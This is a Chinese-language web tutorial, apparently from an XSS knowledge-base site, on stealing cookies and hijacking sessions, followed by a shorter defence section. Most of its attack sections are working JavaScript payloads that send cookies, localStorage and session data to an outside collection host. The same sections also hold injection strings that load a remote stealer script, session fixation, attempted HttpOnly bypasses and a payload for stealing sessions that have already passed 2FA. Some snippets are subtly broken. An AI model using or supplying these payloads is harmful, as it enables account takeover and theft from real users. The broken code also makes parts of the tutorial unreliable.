Cookie窃取与会话劫持实战教程

一、Cookie与会话基础

1.1 什么是Cookie?

Cookie是服务器发送到用户浏览器并保存在本地的小型数据文件。它通常用于:

1.2 Cookie的组成

// Cookie示例
Set-Cookie: sessionid=abc123; Path=/; Domain=.example.com; Secure; HttpOnly; SameSite=Strict

Cookie属性详解:

1.3 会话劫持原理

会话劫持(Session Hijacking)是指攻击者窃取用户的会话标识(通常存储在Cookie中),然后冒充该用户访问Web应用。

攻击流程

1. 用户登录网站,服务器生成Session ID并存储在Cookie中
2. 攻击者通过XSS窃取用户的Cookie
3. 攻击者使用窃取的Cookie冒充用户
4. 攻击者获得用户权限,执行恶意操作

二、Cookie窃取技术

2.1 基础Cookie窃取Payload

// 方法1: 直接重定向
<script>
document.location = 'https://xss.li/collect?c=' + document.cookie;
</script>

// 方法2: 使用Image对象(更隐蔽)
<script>
new Image().src = 'https://xss.li/collect?c=' + document.cookie;
</script>

// 方法3: 使用XMLHttpRequest
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', 'https://xss.li/collect', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send('cookie=' + encodeURIComponent(document.cookie));
</script>

2.2 高级Cookie窃取技术

使用Fetch API(现代浏览器):

<script>
fetch('https://xss.li/api/collect', {
    method: 'POST',
    mode: 'no-cors',
    headers: {
        'Content-Type': 'application/json'
    },
    body: JSON.stringify({
        cookie: document.cookie,
        url: location.href,
        referrer: document.referrer,
        userAgent: navigator.userAgent,
        timestamp: Date.now()
    })
});
</script>

窃取所有存储数据:

<script>
// 收集所有浏览器存储的数据
var data = {
    cookie: document.cookie,
    localStorage: JSON.stringify(localStorage),
    sessionStorage: JSON.stringify(sessionStorage),
    indexedDB: 'checking...'
};

// 发送到攻击者服务器
fetch('https://xss.li/api/collect', {
    method: 'POST',
    body: JSON.stringify(data)
});
</script>

2.3 绕过HttpOnly防护

HttpOnly标志禁止JavaScript访问Cookie,但可以通过其他方式绕过:

方法1: 利用TRACE方法(已过时但仍需了解):

<script>
var xhr = new XMLHttpRequest();
xhr.open('TRACE', '/', true);
xhr.onreadystatechange = function() {
    if (xhr.readyState == 4) {
        // TRACE会返回完整请求头,包含Cookie
        var cookie = xhr.responseText.match(/Cookie: (.*)/)[1];
        new Image().src = 'https://xss.li/collect?c=' + cookie;
    }
};
xhr.send();
</script>

方法2: 通过子域XSS窃取父域Cookie:

// 如果在sub.example.com上有XSS,可以窃取.example.com的Cookie
<script>
// 创建指向父域的请求
var iframe = document.createElement('iframe');
iframe.src = 'https://example.com/';
iframe.style.display = 'none';
document.body.appendChild(iframe);

iframe.onload = function() {
    // 通过iframe访问父域页面
    var cookies = iframe.contentDocument.cookie;
    new Image().src = 'https://xss.li/collect?c=' + cookies;
};
</script>

方法3: 会话固定攻击:

// 不直接窃取Cookie,而是固定受害者的Session ID
<script>
// 1. 获取攻击者自己的Session ID
// 2. 让受害者使用这个Session ID登录
// 3. 攻击者使用同样的Session ID访问
document.cookie = 'PHPSESSID=attacker_session_id; path=/';
location.href = '/login';
</script>

重要提示

现代浏览器已禁用TRACE方法,HttpOnly在大多数情况下是有效的防护措施。但开发者不应仅依赖HttpOnly,需要多层防御。

三、会话劫持实战

3.1 完整的Cookie窃取攻击流程

步骤1: 创建恶意Payload

// cookie-stealer.js
(function() {
    // 收集用户信息
    var info = {
        cookie: document.cookie,
        url: location.href,
        title: document.title,
        referrer: document.referrer,
        userAgent: navigator.userAgent,
        screen: screen.width + 'x' + screen.height,
        language: navigator.language,
        platform: navigator.platform,
        timestamp: new Date().toISOString()
    };
    
    // 发送到攻击者服务器
    var beacon = new Image();
    beacon.src = 'https://xss.li/api/collect?' + 
                 Object.keys(info).map(k => k + '=' + encodeURIComponent(info[k])).join('&');
    
    // 备用方法
    setTimeout(function() {
        fetch('https://xss.li/api/collect', {
            method: 'POST',
            mode: 'no-cors',
            body: JSON.stringify(info)
        });
    }, 100);
})();
</script>

步骤2: 注入XSS

<!-- 反射型XSS示例 -->
https://vulnerable-site.com/search?q=<script src="https://xss.li/payloads/cookie-stealer.js"></script>

<!-- 存储型XSS示例 -->
评论内容: <img src=x onerror="eval(atob('base64编码的窃取代码'))">

步骤3: 使用窃取的Cookie

// 在浏览器控制台中
document.cookie = 'sessionid=窃取到的session值';
location.reload();

// 或使用curl
curl -H "Cookie: sessionid=窃取到的session值" https://target-site.com/account

3.2 持久化会话劫持

<script>
// 创建WebSocket连接,实时监控Cookie变化
var ws = new WebSocket('wss://xss.li/realtime');

// 定期检查Cookie变化
setInterval(function() {
    var currentCookie = document.cookie;
    if (currentCookie !== lastCookie) {
        ws.send(JSON.stringify({
            type: 'cookie_update',
            cookie: currentCookie,
            url: location.href,
            timestamp: Date.now()
        }));
        lastCookie = currentCookie;
    }
}, 5000);

var lastCookie = document.cookie;
</script>

3.3 绕过双因素认证

即使网站使用2FA,窃取的Session Cookie仍可能有效:

// 窃取已完成2FA验证的Session
<script>
// 等待用户完成2FA
setTimeout(function() {
    // 此时Session已包含2FA验证状态
    fetch('https://xss.li/api/collect', {
        method: 'POST',
        body: JSON.stringify({
            cookie: document.cookie,
            authenticated: true,
            twoFactorPassed: true
        })
    });
}, 30000); // 等待30秒
</script>

四、防御措施

4.1 Cookie安全配置

// 设置安全的Cookie
Set-Cookie: sessionid=abc123; 
    Path=/; 
    Domain=.example.com; 
    Secure;              // 仅HTTPS传输
    HttpOnly;            // 禁止JS访问
    SameSite=Strict;     // 防CSRF
    Max-Age=3600         // 1小时过期

4.2 输入输出过滤

// PHP示例
function sanitize($input) {
    return htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
}

// 输出时转义
echo sanitize($_GET['name']);

4.3 内容安全策略(CSP)

<!-- 添加CSP头 -->
<meta http-equiv="Content-Security-Policy" 
      content="default-src 'self'; script-src 'self' 'nonce-random123'">

4.4 会话管理最佳实践

4.5 检测会话劫持

// PHP检测异常会话
session_start();

// 检查IP地址变化
if (isset($_SESSION['ip']) && $_SESSION['ip'] !== $_SERVER['REMOTE_ADDR']) {
    session_destroy();
    die('会话异常,请重新登录');
}
$_SESSION['ip'] = $_SERVER['REMOTE_ADDR'];

// 检查User-Agent变化
if (isset($_SESSION['ua']) && $_SESSION['ua'] !== $_SERVER['HTTP_USER_AGENT']) {
    session_destroy();
    die('会话异常,请重新登录');
}
$_SESSION['ua'] = $_SERVER['HTTP_USER_AGENT'];

法律警告

未经授权窃取他人Cookie和劫持会话是违法行为!本文内容仅用于安全研究和授权的渗透测试。请遵守法律法规和职业道德。

五、实用工具

5.1 Cookie管理工具

5.2 会话劫持工具

六、真实案例分析

6.1 Facebook XSS Cookie窃取(2013)

攻击者通过Facebook的反射型XSS漏洞窃取用户Session,影响数万用户。Facebook通过以下措施修复:

6.2 Twitter蠕虫攻击(2010)

利用存储型XSS传播,自动发推并窃取Cookie。教训:

七、总结

Cookie窃取和会话劫持是XSS攻击最常见的利用方式。关键要点:

防御建议:

  1. 始终使用HttpOnly和Secure标志
  2. 实施严格的CSP策略
  3. 对所有用户输入进行验证和转义
  4. 使用SameSite Cookie防止CSRF
  5. 定期更新Session ID
  6. 监控异常会话活动
上一篇:XSS Payload编写技巧 返回知识库 下一篇:XSS防御完全指南